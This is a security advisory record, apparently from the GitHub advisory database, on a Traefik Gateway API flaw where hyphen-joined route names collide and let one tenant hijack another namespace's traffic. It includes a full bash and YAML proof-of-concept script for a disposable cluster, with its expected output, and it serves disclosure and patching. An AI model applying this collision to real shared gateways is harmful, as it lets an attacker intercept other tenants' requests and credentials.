{"id":"GHSA-fgjj-px3w-67xx","summary":"Traefik: Gateway API route identity collision allows cross-namespace backend hijacking","details":"## Summary\n\nThere is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for `HTTPRoute`, `GRPCRoute`, `TCPRoute` and `TLSRoute` objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.25\n- https://github.com/traefik/traefik/releases/tag/v3.7.10\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik's Kubernetes Gateway provider constructs internal HTTPRoute and\nGRPCRoute identities by concatenating namespace, route name, Gateway identity,\nentrypoint, and rule index with hyphens. Kubernetes names may themselves\ncontain hyphens, so the construction is not injective.\n\nFor example, HTTPRoutes `team/a-app` and `team-a/app`, attached to the same\nGateway with the same match rule, produce identical router and service keys.\nDuring configuration merging, the route loaded later overwrites the earlier\nroute's maps. A tenant that can create an accepted Route in a colliding\nnamespace/name combination can therefore redirect another namespace's\ntraffic to an attacker-controlled backend.\n\nThe official v3.7.8 binary was reproduced returning the victim backend before\nthe second Route was created and the attacker backend immediately afterward.\nThe victim Route had the earlier creation timestamp and should win the\nequivalent-match conflict under Gateway API precedence rules.\n\n## Details\n\nThe HTTPRoute provider creates a route key as follows:\n\n```go\nrouteKey := provider.Normalize(fmt.Sprintf(\n\t\"%s-%s-%s-gw-%s-%s-ep-%s-%d\",\n\tstrings.ToLower(kindHTTPRoute),\n\troute.Namespace,\n\troute.Name,\n\tgatewayNamespace,\n\tgatewayName,\n\tlistener.EPName,\n\tri,\n))\n```\n\n`Normalize` replaces non-alphanumeric runs with `-`, but it does not encode\nfield lengths or otherwise preserve component boundaries:\n\n```go\nfunc Normalize(name string) string {\n\tfargs := func(c rune) bool {\n\t\treturn !unicode.IsLetter(c) && !unicode.IsNumber(c)\n\t}\n\treturn strings.Join(strings.FieldsFunc(name, fargs), \"-\")\n}\n```\n\nThese distinct objects therefore have the same normalized key:\n\n```text\nnamespace=team,   route=a-app\nnamespace=team-a, route=app\n\nhttproute-team-a-app-gw-gateway-shared-ep-web-0\n```\n\n`makeRouterName` adds a hash of the routing rule. When the attacker copies the\nvictim's hostname and path, that hash is also identical. Child service and\nmiddleware names are derived from the same parent identity.\n\nEach Route is built into a temporary configuration and then merged into the\nprovider-wide configuration with `maps.Copy`:\n\n```go\nmaps.Copy(to.HTTP.Routers, from.HTTP.Routers)\nmaps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares)\nmaps.Copy(to.HTTP.Services, from.HTTP.Services)\nmaps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports)\n```\n\n`maps.Copy` replaces an existing value for a duplicate key. No collision is\nreported, and the resulting router points to the later Route's backend. The\nGRPCRoute implementation uses the same delimiter-free route-key format and\nthe same HTTP configuration merge path.\n\n### Attack prerequisites\n\nThe attacker needs permission to create or modify an HTTPRoute or GRPCRoute\nthat the shared Gateway accepts. Exploitation also requires namespace and\nRoute names whose concatenation collides with a victim. The attacker does not\nneed permission to read or modify the victim Route, Service, or namespace.\n\n## Proof of Concept\n\nPrerequisites:\n\n- a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs;\n- `kubectl` configured for that cluster;\n- curl;\n- local TCP port 18080 available.\n\nThe following script embeds all objects used by the reproduction. It runs the\nofficial `traefik:v3.7.8` image, creates the victim Route first, verifies the\nvictim backend, then creates the colliding attacker Route and repeats the\nrequest.\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nkubectl apply -f - \u003c\u003c'YAML'\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: gateway\n---\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: team\n---\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: team-a\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: traefik-audit\n  namespace: gateway\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: traefik-route-collision-lab\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: ClusterRole\n  name: cluster-admin\nsubjects:\n- kind: ServiceAccount\n  name: traefik-audit\n  namespace: gateway\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: traefik-audit\n  namespace: gateway\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: traefik-audit\n  template:\n    metadata:\n      labels:\n        app: traefik-audit\n    spec:\n      serviceAccountName: traefik-audit\n      containers:\n      - name: traefik\n        image: traefik:v3.7.8\n        args:\n        - --entryPoints.web.address=:8000\n        - --providers.kubernetesgateway=true\n        - --global.checkNewVersion=false\n        - --global.sendAnonymousUsage=false\n        - --log.level=ERROR\n        ports:\n        - name: web\n          containerPort: 8000\n---\napiVersion: gateway.networking.k8s.io/v1\nkind: GatewayClass\nmetadata:\n  name: traefik-route-collision-lab\nspec:\n  controllerName: traefik.io/gateway-controller\n---\napiVersion: gateway.networking.k8s.io/v1\nkind: Gateway\nmetadata:\n  name: shared\n  namespace: gateway\nspec:\n  gatewayClassName: traefik-route-collision-lab\n  listeners:\n  - name: web\n    protocol: HTTP\n    port: 8000\n    allowedRoutes:\n      namespaces:\n        from: All\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: victim\n  namespace: team\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: victim\n  template:\n    metadata:\n      labels:\n        app: victim\n    spec:\n      containers:\n      - name: echo\n        image: hashicorp/http-echo:1.0.0\n        args: [\"-listen=:5678\", \"-text=VICTIM_BACKEND\"]\n        ports:\n        - containerPort: 5678\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: backend\n  namespace: team\nspec:\n  selector:\n    app: victim\n  ports:\n  - port: 80\n    targetPort: 5678\n---\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: a-app\n  namespace: team\nspec:\n  parentRefs:\n  - name: shared\n    namespace: gateway\n  hostnames: [\"collision.example\"]\n  rules:\n  - matches:\n    - path:\n        type: PathPrefix\n        value: /\n    backendRefs:\n    - name: backend\n      port: 80\nYAML\n\nkubectl -n gateway rollout status deployment/traefik-audit --timeout=120s\nkubectl -n team rollout status deployment/victim --timeout=120s\n\nkubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \\\n  \u003e/dev/null 2\u003e&1 &\nPORT_FORWARD_PID=$!\ntrap 'kill \"$PORT_FORWARD_PID\" 2\u003e/dev/null || true' EXIT\n\nfor _ in $(seq 1 60); do\n  RESPONSE=$(curl -sS -H 'Host: collision.example' \\\n    http://127.0.0.1:18080/ 2\u003e/dev/null || true)\n  if [ \"$RESPONSE\" = \"VICTIM_BACKEND\" ]; then\n    break\n  fi\n  sleep 1\ndone\nprintf 'before collision: %s\\n' \"$RESPONSE\"\n\nsleep 2\n\nkubectl apply -f - \u003c\u003c'YAML'\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: attacker\n  namespace: team-a\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: attacker\n  template:\n    metadata:\n      labels:\n        app: attacker\n    spec:\n      containers:\n      - name: echo\n        image: hashicorp/http-echo:1.0.0\n        args: [\"-listen=:5678\", \"-text=ATTACKER_BACKEND\"]\n        ports:\n        - containerPort: 5678\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: backend\n  namespace: team-a\nspec:\n  selector:\n    app: attacker\n  ports:\n  - port: 80\n    targetPort: 5678\nYAML\n\nkubectl -n team-a rollout status deployment/attacker --timeout=120s\n\nkubectl apply -f - \u003c\u003c'YAML'\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: app\n  namespace: team-a\nspec:\n  parentRefs:\n  - name: shared\n    namespace: gateway\n  hostnames: [\"collision.example\"]\n  rules:\n  - matches:\n    - path:\n        type: PathPrefix\n        value: /\n    backendRefs:\n    - name: backend\n      port: 80\nYAML\n\nfor _ in $(seq 1 60); do\n  RESPONSE=$(curl -sS -H 'Host: collision.example' \\\n    http://127.0.0.1:18080/ 2\u003e/dev/null || true)\n  if [ \"$RESPONSE\" = \"ATTACKER_BACKEND\" ]; then\n    break\n  fi\n  sleep 1\ndone\nprintf 'after collision:  %s\\n' \"$RESPONSE\"\n\nkubectl get httproute -A --sort-by=.metadata.creationTimestamp\n```\n\nExpected output on v3.7.8:\n\n```text\nbefore collision: VICTIM_BACKEND\nafter collision:  ATTACKER_BACKEND\nNAMESPACE   NAME    HOSTNAMES\nteam        a-app   [\"collision.example\"]\nteam-a      app     [\"collision.example\"]\n```\n\nThe first Route is older, but creating the second Route changes existing\nvictim traffic to the attacker backend. The same test was also run with the\nofficial standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster.\nThe release archive had SHA-256\n`dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`.\n\n## Impact\n\nIn a shared Gateway deployment, a Route author can hijack requests belonging\nto another namespace when the object names admit a collision. Requests,\ncredentials, authorization headers, and response data can be delivered to an\nattacker-controlled backend. The attacker can also return forged application\ncontent or accept state-changing requests intended for the victim. The\nfavorable naming relationship and accepted shared Gateway are reflected in\nthe high attack-complexity rating.\n\n\u003c/details\u003e\n\n---","aliases":["CVE-2026-71327","GO-2026-6209"],"modified":"2026-08-18T15:10:46.520225212Z","published":"2026-08-06T16:38:18Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-08-06T16:38:18Z","nvd_published_at":null,"cwe_ids":["CWE-694"]},"references":[{"type":"WEB","url":"https://github.com/traefik/traefik/security/advisories/GHSA-fgjj-px3w-67xx"},{"type":"WEB","url":"https://github.com/traefik/traefik/pull/13580"},{"type":"WEB","url":"https://github.com/traefik/traefik/commit/a764166656f0cd337f917ac76315c381cca844f9"},{"type":"PACKAGE","url":"https://github.com/traefik/traefik"},{"type":"WEB","url":"https://github.com/traefik/traefik/releases/tag/v3.6.25"},{"type":"WEB","url":"https://github.com/traefik/traefik/releases/tag/v3.7.10"}],"affected":[{"package":{"name":"github.com/traefik/traefik/v3","ecosystem":"Go","purl":"pkg:golang/github.com/traefik/traefik/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.6.25"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-fgjj-px3w-67xx/GHSA-fgjj-px3w-67xx.json"}},{"package":{"name":"github.com/traefik/traefik/v3","ecosystem":"Go","purl":"pkg:golang/github.com/traefik/traefik/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.7.0"},{"fixed":"3.7.10"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-fgjj-px3w-67xx/GHSA-fgjj-px3w-67xx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N"}]}